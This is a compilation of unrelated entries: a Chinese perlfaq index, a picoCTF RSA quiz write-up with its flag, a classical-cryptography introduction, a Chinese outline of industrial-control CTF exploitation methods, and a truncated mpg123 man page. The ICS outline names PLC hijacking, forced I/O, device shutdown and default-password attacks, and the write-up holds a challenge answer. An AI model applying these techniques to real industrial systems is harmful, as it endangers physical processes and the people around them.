"\(bu" 4 如何以交互的方式使用 Perl? .IP "\(bu" 4 有 Perl shell吗? .IP "\(bu" 4 怎样查找我的系统中安装了哪些模块 .IP "\(bu" 4 如何替我的 Perl 程式除虫? .IP "\(bu" 4 如何检测 (profile) 我的 perl 程式? .IP "\(bu" 4 如何替我的 Perl程式作交叉参考 (cross-reference)? .IP "\(bu" 4 有 Perl专用的美化列印程式 (pretty-printer)吗? .IP "\(bu" 4 有 Perl的 ctags 吗? .IP "\(bu" 4 有没有一个 \s-1IDE\s0 或图形界面的 Perl 编辑器? .IP "\(bu" 4 哪儿有 vi 用的 Perl 宏? .IP "\(bu" 4 给 emacs用的 perl模式又要去哪抓呢? .IP "\(bu" 4 如何在 Perl里使用 curses? .IP "\(bu" 4 X或 Tk如何与 Perl配合呢? .IP "\(bu" 4 如何不靠 CGI或 Tk 帮助作出简单的目录(选单)? .IP "\(bu" 4 如何让我的 Perl程式跑得更快些? .IP "\(bu" 4 如何让我的 Perl 程序少用一些内存? .IP "\(bu" 4 把局部变量的引用返回是不安全的做法吗? .IP "\(bu" 4 我如何释放一个数组或散列以缩小我的程式尺寸? .IP "\(bu" 4 如何让我的 CGI脚本 (script)执行起来更有效率? .IP "\(bu" 4 如何隐藏 Perl程式的原始码? .IP "\(bu" 4 如何把我的 Perl程式码编译成 byte code或 C? .IP "\(bu" 4 怎样把 Perl 编译成 Java? .IP "\(bu" 4 如何才能让 \f(CW\*(C`#!perl\*(C'\fR 在 [\s-1MS\-DOS\s0,NT,...] 下起作用? .IP "\(bu" 4 我能利用命令行写出有用的程式吗? .IP "\(bu" 4 为何一行的 perl 程式无法在我的 DOS/Mac/VMS系统上运作? .IP "\(bu" 4 我得去哪里学 Perl的 CGI或是 Web程式设计呢? .IP "\(bu" 4 从哪里可以学习面向对象的 Perl 编程? .IP "\(bu" 4 从哪里可以学习将 Perl 与 C 连接?[h2xs, xsubpp] .IP "\(bu" 4 我已经阅读了 perlembed,perlguts 等等,但是还是不能在我的 C 程序中嵌入 perl;我作错了什么? .IP "\(bu" 4 我试着运行我的脚本时,看到了这样的消息。它是什么意思? .IP "\(bu" 4 什么是 MakeMaker? .Sh "perlfaq4: 数据操作" .IX Subsection "perlfaq4: Data Manipulation" 操纵数字,日期,字符串,数组,散列以及各种其他数据类型。 .IP "\(bu" 4 Why am I getting long decimals (eg, 19.9499999999999) instead of the numbers I should be getting (eg, 19.95)? .IP "\(bu" 4 Why isn't my octal data interpreted correctly? .IP "\(bu" 4 Does Perl have a \fIround()\fR function? What about \fIceil()\fR and \fIfloor()\fR? Trig functions? .IP "\(bu" 4 How do I convert between numeric representations? .IP "\(bu" 4 Why doesn't & work the way I want it to? .IP "\(bu" 4 How do I multiply matrices? .IP "\(bu" 4 How do I perform an operation on a series of integers? .IP "\(bu" 4 How can I output Roman numerals? .IP "\(bu" 4 Why aren't my random numbers random? .IP "\(bu" 4 How do I get a random number between X and Y? .IP "\(bu" 4 How do I find the day or week of the year? .IP "\(bu" 4 How do I find the current century or millennium? .IP "\(bu" 4 How can I compare two dates and find the difference? .IP "\(bu" 4 How can I take a string and turn it into epoch seconds? .IP "\(bu" 4 How can I find the Julian Day? .IP "\(bu" 4 How do I find yesterday's date? .IP "\(bu" 4 Does Perl have a Year 2000 problem? Is Perl Y2K compliant? .IP "\(bu" 4 How do I validate input? .IP "\(bu" 4 How do I unescape a string? .IP "\(bu" 4 How do I remove consecutive pairs of characters? .IP "\(bu" 4 How do I expand function calls in a string? .IP "\(bu" 4 How do I find matching/nesting anything? .IP "\(bu" 4 How do I reverse a string? .IP "\(bu" 4 How do I expand tabs in a string? .IP "\(bu" 4 How do I reformat a paragraph? .IP "\(bu" 4 How can I access or change N characters of a string? .IP "\(bu" 4 How do I change the Nth occurrence of something? .IP "\(bu" 4 How can I count the number of occurrences of a substring within a string? .IP "\(bu" 4 How do I capitalize all the words on one line? .IP "\(bu" 4 How can I split a [character] delimited string except when inside [character]? .IP "\(bu" 4 How do I strip blank space from the beginning/end of a string? .IP "\(bu" 4 How do I pad a string with blanks or pad a number with zeroes? .IP "\(bu" 4 How do I extract selected columns from a string? .IP "\(bu" 4 How do I find the soundex value of a string? .IP "\(bu" 4 How can I expand variables in text strings? .IP "\(bu" 4 What's wrong with always quoting \*(L"$vars\*(R"? .IP "\(bu" 4 Why don't my <<\s-1HERE\s0 documents work? .IP "\(bu" 4 What is the difference between a list and an array? .IP "\(bu" 4 What is the difference between \f(CW$array\fR[1] and \f(CW@array\fR[1]? .IP "\(bu" 4 How can I remove duplicate elements from a list or array? .IP "\(bu" 4 How can I tell whether a certain element is contained in a list or array? .IP "\(bu" 4 How do I compute the difference of two arrays? How do I compute the intersection of two arrays? .IP "\(bu" 4 How do I test whether two arrays or hashes are equal? .IP "\(bu" 4 How do I find the first array element for which a condition is true? .IP "\(bu" 4 How do I handle linked lists? .IP "\(bu" 4 How do I handle circular lists? .IP "\(bu" 4 How do I shuffle an array randomly? .IP "\(bu" 4 How do I process/modify each element of an array? .IP "\(bu" 4 How do I select a random element from an array? .IP "\(bu" 4 How do I permute N elements of a list? .IP "\(bu" 4 How do I sort an array by (anything)? .IP "\(bu" 4 How do I manipulate arrays of bits? .IP "\(bu" 4 Why does \fIdefined()\fR return true on empty arrays and hashes? .IP "\(bu" 4 How do I process an entire hash? .IP "\(bu" 4 What happens if I add or remove keys from a hash while iterating over it? .IP "\(bu" 4 How do I look up a hash element by value? .IP "\(bu" 4 How can I know how many entries are in a hash? .IP "\(bu" 4 How do I sort a hash (optionally by value instead of key)? .IP "\(bu" 4 How can I always keep my hash sorted? .IP "\(bu" 4 What's the difference between \*(L"delete\*(R" and \*(L"undef\*(R" with hashes? .IP "\(bu" 4 Why don't my tied hashes make the defined/exists distinction? .IP "\(bu" 4 How do I reset an \fIeach()\fR operation part-way through? .IP "\(bu" 4 How can I get the unique keys from two hashes? .IP "\(bu" 4 How can I store a multidimensional array in a \s-1DBM\s0 file? .IP "\(bu" 4 How can I make my hash remember the order I put elements into it? .IP "\(bu" 4 Why does passing a subroutine an undefined element in a hash create it? .IP "\(bu" 4 How can I make the Perl equivalent of a C structure/\*(C+ class/hash or array of hashes or arrays? .IP "\(bu" 4 How can I use a reference as a hash key? .IP "\(bu" 4 How do I handle binary data correctly? .IP "\(bu" 4 How do I determine whether a scalar is a number/whole/integer/float? .IP "\(bu" 4 How do I keep persistent data across program calls? .IP "\(bu" 4 How do I print out or copy a recursive data structure? .IP "\(bu" 4 How do I define methods for every class/object? .IP "\(bu" 4 How do I verify a credit card checksum? .IP "\(bu" 4 How do I pack arrays of doubles or floats for \s-1XS\s0 code? .Sh "perlfaq5: 文件和格式" .IX Subsection "perlfaq5: Files and Formats" I/O and the \*(L"f\*(R" issues: filehandles, flushing, formats, and footers. .IP "\(bu" 4 How do I flush/unbuffer an output filehandle? Why must I do this? .IP "\(bu" 4 How do I change one line in a file/delete a line in a file/insert a line in the middle of a file/append to the beginning of a file? .IP "\(bu" 4 How do I count the number of lines in a file? .IP "\(bu" 4 How can I use Perl's \f(CW\*(C`\-i\*(C'\fR option from within a program? .IP "\(bu" 4 How do I make a temporary file name? .IP "\(bu" 4 How can I manipulate fixed-record-length files? .IP "\(bu" 4 How can I make a filehandle local to a subroutine? How do I pass filehandles between subroutines? How do I make an array of filehandles? .IP "\(bu" 4 How can I use a filehandle indirectly? .IP "\(bu" 4 How can I set up a footer format to be used with \fIwrite()\fR? .IP "\(bu" 4 How can I \fIwrite()\fR into a string? .IP "\(bu" 4 How can I output my numbers with commas added? .IP "\(bu" 4 How can I translate tildes (~) in a filename? .IP "\(bu" 4 How come when I open a file read-write it wipes it out? .IP "\(bu" 4 Why do I sometimes get an \*(L"Argument list too long\*(R" when I use <*>? .IP "\(bu" 4 Is there a leak/bug in \fIglob()\fR? .IP "\(bu" 4 How can I open a file with a leading \*(L">\*(R" or trailing blanks? .IP "\(bu" 4 How can I reliably rename a file? .IP "\(bu" 4 How can I lock a file? .IP "\(bu" 4 Why can't I just open(\s-1FH\s0, ">file.lock")? .IP "\(bu" 4 I still don't get locking. I just want to increment the number in the file. How can I do this? .IP "\(bu" 4 All I want to do is append a small amount of text to the end of a file. Do I still have to use locking? .IP "\(bu" 4 How do I randomly update a binary file? .IP "\(bu" 4 How do I get a file's timestamp in perl? .IP "\(bu" 4 How do I set a file's timestamp in perl? .IP "\(bu" 4 How do I print to more than one file at once? .IP "\(bu" 4 How can I read in an entire file all at once? .IP "\(bu" 4 How can I read in a file by paragraphs? .IP "\(bu" 4 How can I read a single character from a file? From the keyboard? .IP "\(bu" 4 How can I tell whether there's a character waiting on a filehandle? .IP "\(bu" 4 How do I do a \f(CW\*(C`tail \-f\*(C'\fR in perl? .IP "\(bu" 4 How do I \fIdup()\fR a filehandle in Perl? .IP "\(bu" 4 How do I close a file descriptor by number? .IP "\(bu" 4 Why can't I use \*(L"C:\etemp\efoo\*(R" in \s-1DOS\s0 paths? What doesn't `C:\etemp\efoo.exe` work? .IP "\(bu" 4 Why doesn't glob(\*(L"*.*\*(R") get all the files? .IP "\(bu" 4 Why does Perl let me delete read-only files? Why does \f(CW\*(C`\-i\*(C'\fR clobber protected files? Isn't this a bug in Perl? .IP "\(bu" 4 How do I select a random line from a file? .IP "\(bu" 4 Why do I get weird spaces when I print an array of lines? .Sh "perlfaq6: 正则表达式" .IX Subsection "perlfaq6: Regular Expressions" 模式匹配和正则表达式。 .IP "\(bu" 4 我该如何使用正规表示式才不至於写出不合语法且难以维护的程式码? .IP "\(bu" 4 我无法匹配超过一行的内容,哪里出了问题? .IP "\(bu" 4 我如何取出位於不同行的两个模式间之内容? .IP "\(bu" 4 我把一个正规表示式放入 $/但却没有用。错在哪里? .IP "\(bu" 4 如何在 LHS端【译注:式子中运算元左端部份】作不区别大小写式的替换,但在 RHS端【右端】保留大小写区别? .IP "\(bu" 4 如何使 \f(CW\*(C`\ew\*(C'\fR 对应到附重音记号 (accented)的字元? .IP "\(bu" 4 如何作一个适合不同 locale【译注:语言环境,国家地区在文字编码上各自的惯例】的 \f(CW\*(C`/[a\-zA\-Z]/\*(C'\fR 对应? .IP "\(bu" 4 在一个正规表示式里如何引入 (quote) 变量? .IP "\(bu" 4 \f(CW\*(C`/o\*(C'\fR 到底是干麽用的? .IP "\(bu" 4 如何使用正规表示式将档案中 C语言样式的注解删掉? .IP "\(bu" 4 我能用 Perl的正规表示式去对应成对的符号吗? .IP "\(bu" 4 有人说正规表示式很贪婪,那是什麽意思?该如何避免它所带来的问题? .IP "\(bu" 4 如何处理每一行的每个字? .IP "\(bu" 4 我如何印出文字出现频率或行出现频率的纲要? .IP "\(bu" 4 如何能作近似对应? .IP "\(bu" 4 我如何有效率地一次对应多个正规表示式? .IP "\(bu" 4 为何我用 \f(CW\*(C`\eb\*(C'\fR 作字界搜寻时会失败呢? .IP "\(bu" 4 为什麽每当我用 $&, $`,或 $'时程式的速度就慢下来了呢? .IP "\(bu" 4 正规表示式中的 \f(CW\*(C`\eG\*(C'\fR 能给我什麽好处? .IP "\(bu" 4 Perl正规表示引擎是 DFA 或 NFA?它们是 POSIX 相容的吗? .IP "\(bu" 4 在无返回值上下文中用 grep或 map有什麽不对? .IP "\(bu" 4 如何对应多位元组字母所构成的字串? .IP "\(bu" 4 如何匹配用户提供的模式? .Sh "perlfaq7: 综合的问题" .IX Subsection "perlfaq7: General Perl Language Issues" 综合的 Perl 语言问题,不适于在其他所有段落中讨论的问题 .IP "\(bu" 4 我能拿到 Perl的 BNF/yacc/RE吗? .IP "\(bu" 4 $@%*这些符号是什麽意思?我怎麽知道何时该使用他们呢? .IP "\(bu" 4 字串加引号或使用分号及逗号是否绝对必要/还是完全没必要? .IP "\(bu" 4 我如何跳过一些传回值? .IP "\(bu" 4 我如何暂时滤掉警告讯息? .IP "\(bu" 4 什麽是一个扩充 (extension)? .IP "\(bu" 4 为何 Perl运算子的优先顺序和 C的不一样? .IP "\(bu" 4 我如何声明/创建一个数据结构? .IP "\(bu" 4 如何创建一个模块? .IP "\(bu" 4 如何创建一个类? .IP "\(bu" 4 如何知道一个变量是否是污染的? .IP "\(bu" 4 什么是闭包? .IP "\(bu" 4 什么是变量自杀,我应该怎样防止它? .IP "\(bu" 4 如何传递/返回一个{函数 Function, 文件句柄 FileHandle, 数组 Array, 散列 Hash, 方法 Method, 正则表达式 Regex}? .IP "\(bu" 4 如何创建一个静态变量? .IP "\(bu" 4 动态和静态作用域有什么区别?\fIlocal()\fR 和 \fImy()\fR 呢? .IP "\(bu" 4 在存在同名内部变量的作用域中,如何存取一个动态变量? .IP "\(bu" 4 深连接和浅连接有什么不同? .IP "\(bu" 4 为什么 "my($foo) = <\s-1FILE\s0>;" 不工作? .IP "\(bu" 4 如何重定义一个内建函数,操作符 或者方法? .IP "\(bu" 4 调用函数时 &foo 和 \fIfoo()\fR 的形式有什么不同? .IP "\(bu" 4 如何创建一个分支语句? .IP "\(bu" 4 如何捕获对未定义变量,函数或方法的访问? .IP "\(bu" 4 为什么找不到包含在同一个文件中的方法? .IP "\(bu" 4 如何找到当前的包? .IP "\(bu" 4 如何注释掉大块的 perl 代码? .IP "\(bu" 4 如何清空一个包? .IP "\(bu" 4 如何使用变量值作为一个变量名? .IP "\(bu" 4 \*(L"bad interpreter\*(R" 是什么意思? .Sh "perlfaq8: 系统交互" .IX Subsection "perlfaq8: System Interaction" 进程间通信 (\s-1IPC\s0), 用户界面控制 (键盘,屏幕和指点设备)。 .IP "\(bu" 4 如何找出正在运行的操作系统? .IP "\(bu" 4 为什么 \fIexec()\fR 不返回? .IP "\(bu" 4 如何对键盘/萤幕/滑鼠做些花样? .IP "\(bu" 4 如何打印有颜色的内容? .IP "\(bu" 4 如何只读取一个键而不等待按下回车? .IP "\(bu" 4 如何检测键盘上已有输入? .IP "\(bu" 4 如何清屏? .IP "\(bu" 4 如何获取屏幕大小? .IP "\(bu" 4 如何向使用者询问密码? .IP "\(bu" 4 如何读写串口? .IP "\(bu" 4 如何解码加密的口令文件? .IP "\(bu" 4 如何在后台开启进程? .IP "\(bu" 4 如何截获控制字符/信号? .IP "\(bu" 4 在 Unix 系统中如何修改 shadow 文件? .IP "\(bu" 4 如何设置时间和日期? .IP "\(bu" 4 如何 \fIsleep()\fR 或 \fIalarm()\fR 少于一秒的时间? .IP "\(bu" 4 如何测度少于一秒的时间? .IP "\(bu" 4 如何做 atexit()或 setjmp()/longjmp()的动作?(异常处理) .IP "\(bu" 4 为何我的 sockets程式在 System V (Solaris)系统下不能用?「不支持的协议」这个错误讯息又是什麽意思? .IP "\(bu" 4 如何从 Perl里呼叫系统中独特的 C函数? .IP "\(bu" 4 在哪里可以找引入档来做 ioctl()或 syscall()? .IP "\(bu" 4 为何 setuid perl程式会抱怨关於系统核心的问题? .IP "\(bu" 4 如何打开对某程式既输入又输出的管道 (pipe)? .IP "\(bu" 4 为何用 system()却得不到一个指令的输出呢? .IP "\(bu" 4 如何补捉外部指令的 STDERR? .IP "\(bu" 4 为何当管道开启失败时 open()不会传回错误讯息? .IP "\(bu" 4 在输出值是空的情境里使用反向引号有何不对? .IP "\(bu" 4 如何不经过 shell处理来呼叫反向引号? .IP "\(bu" 4 为何给了 EOF(Unix上是 ^D,MS-DOS上是 ^Z)後我的程式就不能从 STDIN读取东西了呢? .IP "\(bu" 4 如何把 shell程式转成 perl? .IP "\(bu" 4 perl能处理 telnet或 ftp 会话吗? .IP "\(bu" 4 如何在 Perl里达到 Expect的功能? .IP "\(bu" 4 有没有可能将 perl的指令列隐藏起来,以躲避像 "ps"之类的程式? .IP "\(bu" 4 我在 perl script里 {更动目录,更改我的使用环境}。为何这些改变在程式执行完後就消失了呢?如何让我做的修改显露出来? .IP "\(bu" 4 如何关闭一个程序的文件句柄而不用等它完成呢? .IP "\(bu" 4 如何 fork 一个守护进程? .IP "\(bu" 4 如何知道自己是否在交互地运行? .IP "\(bu" 4 如何为缓慢的事件设置超时? .IP "\(bu" 4 如何设置 \s-1CPU\s0 限额? .IP "\(bu" 4 如何避免在 Unix 系统中产生僵尸进程? .IP "\(bu" 4 如何使用 \s-1SQL\s0 数据库? .IP "\(bu" 4 如何使 \fIsystem()\fR 在收到 control\-C 时退出? .IP "\(bu" 4 如何无阻塞地打开一个文件? .IP "\(bu" 4 如何从 \s-1CPAN\s0 安装模块? .IP "\(bu" 4 require 和 use 的区别是什么? .IP "\(bu" 4 如何设置我自己的模块/库路径? .IP "\(bu" 4 如何将我自己的程序的路径加入到模块/库搜索路径中? .IP "\(bu" 4 如何在运行时将一个目录加入到我的 include 路径中? .IP "\(bu" 4 什么是 socket.ph,从哪儿可以得到它? .Sh "perlfaq9: 网络" .IX Subsection "perlfaq9: Networking" 网络通信,互联网以及少量有关 web 的内容 .IP "\(bu" 4 一个 \s-1CGI\s0 脚本的回应的正确格式是什么? .IP "\(bu" 4 我的 \s-1CGI\s0 脚本从命令行执行正常,但是在浏览器中不行 (500 Server Error)。 .IP "\(bu" 4 如何从 \s-1CGI\s0 程序中得到好一点的错误提示? .IP "\(bu" 4 如何将字符串中的 \s-1HTML\s0 删除? .IP "\(bu" 4 如何展开 URL? .IP "\(bu" 4 如何从用户的机器上下载文件?如何打开其他机器上的文件? .IP "\(bu" 4 如何在 \s-1HTML\s0 添加一个弹出菜单? .IP "\(bu" 4 如何获取 \s-1HTML\s0 文件? .IP "\(bu" 4 如何根据提交的内容自动生成一个 \s-1HTML\s0 ? .IP "\(bu" 4 如何解码或创建 web 中的 %\-encoding? .IP "\(bu" 4 如何重定向到其他页面? .IP "\(bu" 4 如何为我的网页加上密码? .IP "\(bu" 4 如何用 Perl 修改我的 .htpasswd 和 .htgroup 文件? .IP "\(bu" 4 如何确保用户不会在表单中输入使我的 CGI 脚本作坏事的值? .IP "\(bu" 4 如何解释一个邮件头? .IP "\(bu" 4 如何解码一个 CGI 表单? .IP "\(bu" 4 如何检测一个有效的邮件地址? .IP "\(bu" 4 如何解码一个 \s-1MIME/BASE64\s0 字符串? .IP "\(bu" 4 如何返回用户的邮件地址? .IP "\(bu" 4 如何发邮件? .IP "\(bu" 4 如何使用 \s-1MIME\s0 来为邮件消息增加附件? .IP "\(bu" 4 如何读邮件? .IP "\(bu" 4 如何找到我的主机名/域名/IP 地址? .IP "\(bu" 4 如何获取一篇新闻文章或活动的新闻组? .IP "\(bu" 4 如何获取/上传一个 \s-1FTP\s0 文件? .IP "\(bu" 4 如何进行远程过程调用 \s-1RPC\s0 ? .SH "译者" .B 萧百龄,两只老虎工作室,bbbush
sec-knowleage
# rsa-pop-quiz Cryptography, 200 points ## Description: > Class, take your seats! It's PRIME-time for a quiz... ## Solution: This challenge is similar to last year's [rsa-madlibs](/2018_picoCTF/rsa-madlibs.md). The same script from last year worked with this challenge after making the following adjustments: ```console root@kali:/media/sf_CTFs/pico/rsa-pop-quiz# diff solve.py ../../pico_2018/rsa-madlibs/solve.py 7,8c7,8 < r.recvuntil("#### NEW PROBLEM ####\n") < lines = r.recvuntil("##### PRODUCE THE FOLLOWING ####\n") --- > r.recvuntil("#### NEW MADLIB ####\n") > lines = r.recvuntil("##### WE'RE GONNA NEED THE FOLLOWING ####\n") 38c38 < r = remote("2019shell1.picoctf.com", 20866) --- > r = remote("2018shell3.picoctf.com", 18148) 54d53 < 104d102 < ``` Output: ```console root@kali:/media/sf_CTFs/pico/rsa-pop-quiz# python solve.py [+] Opening connection to 2019shell1.picoctf.com on port 20866: Done [*] Requesting 'n' using ['q', 'p'] [*] Requesting 'q' using ['p', 'n'] [*] Requesting 'q' using ['e', 'n'] [*] Requesting 'totient(n)' using ['q', 'p'] [*] Requesting 'ciphertext' using ['plaintext', 'e', 'n'] [*] Requesting 'plaintext' using ['ciphertext', 'e', 'n'] [*] Requesting 'd' using ['q', 'p', 'e'] [*] Requesting 'plaintext' using ['p', 'ciphertext', 'e', 'n'] [+] Receiving all data: Done (116B) [*] Closed connection to 2019shell1.picoctf.com port 20866 Outstanding move!!! If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;) [+] picoCTF{wA8_th4t$_ill3aGal..o67980604} ```
sec-knowleage
# 古典密码简介 在古典密码学中,我们主要介绍单表替代密码,多表替代密码,以及一些其它比较有意思的密码。 值得一提的是,在古典密码学中,设计者主要考虑消息的保密性,使得只有相关密钥的人才可以解密密文获得消息的内容,对于消息的完整性和不可否认性则并没有进行太多的考虑。 - 拓展阅读 - [CTF 中那些脑洞大开的编码和加密](http://www.tuicool.com/articles/2E3INnm) - [古典密码学发展史](http://www.oscca.gov.cn/sca/zxfw/2017-04/24/content_1011709.shtml) - [古典密码——维基百科](https://zh.wikipedia.org/wiki/%E5%8F%A4%E5%85%B8%E5%AF%86%E7%A2%BC)
sec-knowleage
# ICS_CTF 利用 > ICS CTF竞赛内容来自于作者自身打比赛经验,如有不对之处,请各位多多谅解 Exploit是针对某种漏洞提供的多种利用方法,针对某一种漏洞可以有很多利用方法。 针对工控领域,其实目前多见的利用方式:组态利用、通信劫持、Web渗透。 ## 组态利用 组态是工控场景的核心,是工控编程与实现功能的核心内容,如果你不太懂组态,请自行学习自动化领域工业控制系统组态的相关书籍。 最好的学习方式是拿到相关的产品说明书,针对说明书上的内容一点一点学习。 组态的利用方法: 1. 强制IO(最管用的一种调试方法) 2. 工程加密与解密(工程加密是PLC一种保护措施,但仍存在被破解的可能) 3. 上载下载(基础概念请自行恶补) 4. PLC等目标设备的内存分布(基础概念请自行恶补) 5. 其他附加功能(例如ftp、ntp等) ## 通信劫持 通信劫持是工控场景中最经典利用方式,例如ARP劫持、PLC/HMI通信劫持、PLC会话劫持、PLC命令执行等内容。 通信劫持的方法: 1. ARP劫持,ARP劫持可以阻断PLC与其他设备的通信,鉴于工程会存在写死IP等交互地址,未必管用,但是值得一试 2. PLC/HMI通信劫持,采用旁路设备接入或控制PLC设备,对IO进行强制重写或输出 3. PLC命令执行,针对工控设备最敏感的部分是设备宕机(无法恢复的)、设备启停、设备强制更新参数,等等这些对普通工艺能够产生较大的影响。 ## Web渗透 目标企业往往存在Web类工控应用,例如发布工艺发布页面,用户数据库等页面,这些内容基本与平日Web题目无异。 1. 弱口令(工控里比较常见,工控设备中厂商默认密码) 2. 命令注入(比较普遍,需要审计Web工程源码) 3. 目录遍历(手测简单,利用难,需要结合上传等功能实现) 4. 预置后门(比较难以发现,需要逆向和Web渗透相结合) 5. SQL类注入(比较简单) 6. XSS在这里基本无用(基本没怎么遇到过) 7. 工程文件泄露(.git/.idea/.project等工程文件泄露)
sec-knowleage
.\" @(#)mpg123.1 0.01 21-Apr-1997 OF; from mpg123 archive .\" Chinese version copyright (c)linuxipy <groove@ustc.edu> , href=http://www.linuxforum.net>www.linuxforum.net 2003. .\" Chinese version last update on 29-Dec-2003 .\" .\" .\" This file may be copied under the conditions described .\" in the LDP GENERAL PUBLIC LICENSE, Version 1, September 1998 .\" that should have been distributed together with this file. .\" .TH mpg123 1 "21 Apr 1997" .SH 命令名 mpg123 \- 播放 MPEG 1.0/2.0 Layer-1, -2, -3 音频文件 .SH 语法 .B mpg123 [ .B \-tscvqy01m24 ][ .BI \-b " size" ][ .BI \-k " num" ][ .BI \-n " num" ][ .BI \-f " factor" ][ .BI \-r " rate" ][ .BI \-g " gain" ][ .BI \-a " dev" ][ .BR "\-o s" " | " "\-o h" " | " "\-o l" ][ .BI \-d " n" ][ .BI \-h " n" ][ .BI \-p " proxy" ][ .BI \-@ " file" ] .IR file " ... | " URL " ... | " .B \- .SH 描述 .B mpg123 从一个或多个 .I 文件 或者 .I URL 读取MPEG-1/2音频比特流 (如果指定 `\-' 选项, 则从标准输入读取), 然后使用音频设备进行播放(默认), 或将解码结果送 到标准输出上. .SH 选项 .B mpg123 接收传统的POSIX风格的单字母选项, 也接收GNU风格的长单词选项. 这两 种选项分别以 `\-' 和 "\-\^\-" 开头. .TP .BR \-t ", " \-\-test 测试模式. 对音频流进行解码, 但不输出. .TP .BR \-s ", " \-\^\-stdout 将解码结果送到标准输出上, 而不使用音频设备进行播放. 如果 .B mpg123 不支持你的音频硬件, 你就可以试试这一选项, 这时, .B mpg123 以本机 字节顺序(host byte order)输出16比特的立体声线性PCM(脉冲编码调制) 音频裸数据(没有数据头). .TP .BR \-c ", " \-\^\-check 对每一帧进行滤波器越界检查, 如发生则报告之. .TP .BR \-v ", " \-\^\-verbose 播放时显示更多信息, 比如显示当前正在解码的帧号. .TP .BR \-q ", " \-\^\-quiet 安静模式. 不显示诊断信息. .TP .BR \-y ", " \-\^\-resync 如果输入文件发生错误, 则重新进行同步并继续解码. 另外, 对那些文件 头损坏的MPEG文件, 通常 .B mpg123 会拒绝播放并显示 ' Illegal header', 但如果指定本选项, .B mpg123 会试图从损坏的文件头中恢复并进行播放. 小心: 损坏的MPEG文件在播放到损坏处时可能出现尖利刺耳的噪声, 如果 音量过大, 可能损坏扬声器. .TP .BR \-0 ", " \-\^\-single0 "; " \-1 ", " \-\^\-single1 只对0(左) 声道或者1(右) 声道进行解码. 这两个选项只对立体声的MPEG 音频流有效. .TP .BR \-m ", " \-\^\-singlemix 将两个声道混音. 此选项只对MPEG Layer-3的立体声音频流有效, 并可比 完全立体声解码节省一些 CPU时间. .TP .BR \-2 ", " \-\^\-2to1 "; " \-4 ", " \-\^\-4to1 将输出流的采样率将低至标准的1/2 (22kHz) 或者1/4 (11kHz). 使用这 两个选项可以减少一些CPU的负荷, 但是声音质量会下降(至少使用11kHz 采样率时会很难听). .TP \fB\-b \fIsize\fR, \fB\-\^\-buffer \fIsize 用 .I size 指定输出缓冲区的大小, 单位为千字节. 使用此选项通常可以避 免由频繁的系统操作造成的 声音输出时断时续的现象. .I size 的值小于 300时就没什么意义了, 建议至少取1024(即使用1Mb的缓冲区, 可以缓冲 相当于6秒钟的音频数据). .I size 的默认值为0, 即不进行输出缓冲. .TP \fB\-k \fInum\fR, \fB\-\^\-skip \fInum 跳过前 .I num 帧. 不指定此选项时, 默认从第1帧开始解码. .TP \fB\-n \fInum\fR, \fB\-\^\-frames \fInum 只对前 .I num 帧进行解码. 不指定此选项时, 默认对整个音频流进行解码. .TP \fB\-f \fIfactor\fR, \fB\-\^\-scale \fIfactor 改变缩放因子 .I factor 的值(默认值为32768). .TP \fB\-r \fIrate\fR, \fB\-\^\-rate \fIrate 设置采样率 .I rate (默认为自动设置). 使用这一选项后, .B mpg123 会自动 将速率转换成不依赖于MPEG流速率的一个恒定比特率. 此选项应该和 \-\-stereo 或 \-\-mono 联合起来使用. .TP \fB\-g \fIgain\fR, \fB\-\^\-gain \fIgain 设置音频硬件输出增益 .I gain (默认为保持不变). .TP \fB\-a \fIdev\fR, \fB\-\^\-audiodevice \fIdev 指定音频设备. 默认的音频设备与系统配置有关(通常是 /dev/audio 或 /dev/dsp ), 如果系统中有多个音频设备而默认的又不是你想用的那个, 就可使用本选项. .TP .BR "\-o s" ", " \-\^\-speaker 将声音导出到主板上的扬声器上. .TP .BR "\-o h" ", " \-\^\-headphones 将声音导出到耳机连接器上. .TP .BR "\-o l" ", " \-\^\-lineout 将声音导出到Line-Out连接器上. .TP \fB\-d \fIn\fR, \fB\-\^\-doublespeed \fIn 每 .IR n 帧播放一帧. 这会使MPEG流的播放速度提高为正常速度的 .I n 倍, 从而可以产生特殊的声音效果. 此选项可以和 .B \-\^\-halfspeed 选项组合使 用, 实现类似每4帧播放3帧(译者注: 指定-d 4 -h 3)的效果. 如果使用 此选项, 不要指望声音质量会很好. .TP \fB\-h \fIn\fR, \fB\-\^\-halfspeed \fIn 将每帧都播放 .I n 遍. 这会使MPEG流的播放速度降低为正常速度的 .IR 1 / n , 从而可以产生特殊的声音效果. 此选项可以和 .B \-\^\-doublespeed 选项组合 使用, 实现类似每3帧播放2帧(译者注: 指定-h 2 -d 3)的效果. 如果使 用此选项, 不要指望声音质量会很好. .TP \fB\-p \fIURL \fR| \fBnone\fR, \fB\-\^\-proxy \fIURL \fR| \fBnone 指定 .I proxy 作为HTTP请求的代理. 指定的格式应是一个完整的URL (如"http://host.domain:port/"), 但是可以省略前缀"http://", 端口 号port(默认的端口为80)和末尾的'/'. 如果指定为 .B none ,则不使用代 理, 直接向服务器请求文件. 更多细节请看 "HTTP 支持" 小节. .TP \fB\-u \fIauth\fR, \fB\-\^\-auth \fIauth 如果通过HTTP下载文件时服务器要求提供认证信息, 则由 .I auth 指定, 其 格式为 "用户名:密码" (不包括引号). .TP \fB\-@ \fIfile\fR, \fB\-\^\-list \fIfile 从 .I file 指定的文件中读取将要播放的MPEG音频流所在的文件和(或)URL, 如果 命令行中还指定了其它的文件和(或)URL, 也将其包含进播放清单. 如果指定 .I file 为 `\-'而非一个普通的文件名, .B mpg123 将从标准输入读 取文件名和(或)URL, 或者读取一个指向播放清单文件的URL. 注意: .B \-@ 选项只能使用一次(如果多处指定, 则只有最后一个有效). .TP .BR \-z ", " \-\^\-shuffle 随机播放. 按随机的顺序播放命令行和清单文件中指定的音频文件. .TP .BR \-\-stereo 强制立体声输出. .TP .BR \-\-reopen 强制在播放完一个文件后重新打开音频设备. .TP .BR \-\-8bit 强制8比特输出. .TP .BR \-Z ", " \-\-random 完全随机播放. (译者注: 与 --shuffle 选项的区别是, 指定本选项有可 能重复多次播放同一文件) .SH 操作数 .B mpg123 支持下面的操作数: .TP .IR file 指定输入文件的路径. 这些文件必须包含合法的MPEG-1/2音频 Layer-1, Layer-2或Layer-3的比特流. 如果指定为'-', 将从标准输入读取MPEG数 据. 进一步, 如果以"http://"开头, 则认为指定 了一个 .I URL (请看下一 节). .SH HTTP 支持 除了能从普通文件和标准输入读取MPEG音频流, .B mpg123 还支持通过HTTP协 议从万 维网(WWW)上获取由URL(统一资源定位符)指定的文件. 一个URL是一个以 